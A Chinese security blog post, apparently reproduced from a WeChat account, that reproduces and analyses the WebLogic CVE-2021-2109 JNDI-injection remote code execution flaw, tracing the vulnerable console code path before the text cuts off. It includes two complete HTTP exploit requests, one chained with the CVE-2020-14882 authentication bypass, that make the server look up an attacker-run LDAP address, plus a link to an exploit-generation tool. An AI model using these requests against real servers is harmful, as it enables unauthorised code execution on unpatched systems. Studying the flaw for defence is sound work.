专栏名称: TimelineSec
安全圈必备公众号之一!专注于最新漏洞复现!内含漏洞时间线工具靶场等干货!记录每一个漏洞,捕捉安全的每一瞬间!
目录
相关文章推荐
军武次位面  ·  德国人的奇思妙想:“蝗虫”10自行火炮 ·  2 天前  
火石创造  ·  福利 | ... ·  4 天前  
丁香园  ·  取消用药限制,本月起实行! ·  4 天前  
51好读  ›  专栏  ›  TimelineSec

CVE-2021-2109:Weblogic远程代码执行分析复现

TimelineSec  · 公众号  ·  · 2021-02-04 09:30

正文



上方蓝色字体关注我们,一起学安全!
作者: Whippet @Timeline Sec
本文字数:2006
阅读时长:7~8min
声明:请勿用作违法用途,否则后果自负


0x01 简介


WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。


0x02 漏洞概述


编号: CVE-2021-2109
Oracle官方发布了漏洞补丁,修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。


0x03 影响版本


  • WebLogic 10.3.6.0.0

  • WebLogic 12.1.3.0.0

  • WebLogic 12.2.1.3.0

  • WebLogic 12.2.1.4.0

  • WebLogic 14.1.1.0.0


0x04 环境搭建


CVE-2020-14645 复现时的搭建方式相同


0x05 漏洞复现


选用jdk-8u181 ,weblogic12.1.4.0
搭建漏洞环境,因为是通过 JNDI 注入进行的远程命令执行,所以会受到 JDK 版本的影响


JNDI 注入的 JDK 版本如图所示



下载 weblogic 安装包后,以管理员身份打开cmd控制台

执行完下面命令后, 一路next就好

java -jar fmw_12.2.1.4.0_wls_lite_generic.jar


安装完成之后,启动

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd


就可以启动 Weblogic



设置调试的话修改

user_project/domains/bin目录中

setDomainEnv.cmd或者setDomainEnv.sh文件

在if "%debugFlag%"=="true" 前加入

set debugFlag=true



在同一文件中,通过set DEBUG_PORT=8453

指定了远程调试的端口,拷贝Oracle_Home目录下所有文件至调试目录,配置 Remote 方式进行远程调试,端口为 8453



利用 JNDI 注入工具 生成payload

https://github.com/welk1n/JNDI-Injection-Exploit



登录 weblogic 控制台,发送数据包


POST /console/consolejndi.portal HTTP/1.1Host: 192.168.176.167:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8Referer: http://192.168.176.167:7001/console/css/%252e%252e%252f/consolejndi.portalAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedCookie: ADMINCONSOLESESSION=Dxo4Mj2wREQ8hHIy7WpBfolb35JVathlBeQhVN6hjuJCRzKBUGDi!-1446449740Connection: closeContent-Length: 163
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.176;1:1389/pq2ld0;AdminServer%22)




可以结合CVE-2020-14882权限绕过漏洞,删除cookie,重新构造数据包


POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1Host: 192.168.176.167:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8Referer: http://192.168.176.167:7001/console/css/%252e%252e%252f/consolejndi.portalAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 163
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.176;1:1389/pq2ld0;AdminServer%22)


0x06 漏洞分析


我们注意到漏洞poc中包含类

com.bea.console.handles.JndiBindingHandle

我们就在其中添加断点


console.jar!com.bea.console.handles.JndiBindingHandle#JndiBindingHandle(java.lang.String)



我们注意到JndiBindingHandle是一些初始化操作,进行实例化。


我们查看

Oracle_Home/wlserver/server/lib/consoleapp/webapp/consolejndi.portal文件,发现标签 JNDIBindingPageGeneral 指定的路径是 /PortalConfig/jndi/jndibinding.portlet



跟进文件 jndibinding.portlet

看到程序最终调用 JNDIBindingAction 类
Oracle_Home/wlserver/server/lib/consoleapp/webapp/PortalConfig/jndi/jndicontext.portlet



我们在 JNDIBindingAction 类的函数 execute 中,看到了 JNDI 注入的关键函数 lookup,通过 lookup 去引用命名服务(RMI)和目录服务(LDAP)

console.jar!com.bea.console.actions.jndi.JNDIBindingAction#execute



我们可以看到 lookup 中的值来源于 bindingHandle.getContext() + bindingHandle.getBinding() ,同时要执行到 lookup 需要满足 serverMBean != null ,serverName 的值来自 bindingHandle.getServer()


ServerMBean serverMBean = MBeanUtils.getAnyServerMBean(serverName);
console.jar!ccom.bea.console.utils.MBeanUtils#getAnyServerMBean(java.lang.String)



跟进lookupServer
com.oracle.weblogic.management.beanimpls.jar!weblogic.management.configuration.DomainMBeanImpl#lookupServer



在这里如果要满足有返回值的,传入的值必须等于 bean.getName() ,通过获取 this._Servers[0].getName() 可以得到这个值为 AdminServer


满足了执行条件之后,我们继续返回 JNDIBindingAction#execute 查看 lookup 函数中的参数的传入来自于


而context、bindName、serverName的值都是从bindingHandle中获取的,正巧我们可以控制JndiBindingHandle实例化的值(objectIdentifier),接着来就需要看下objectIdentifier和以上3个值有什么关系了,看一下3个成员变量的get函数,发现他们都和Component有关,


console.jar!com.bea.console.handles.JndiBindingHandle



跟进 getComponent







请到「今天看啥」查看全文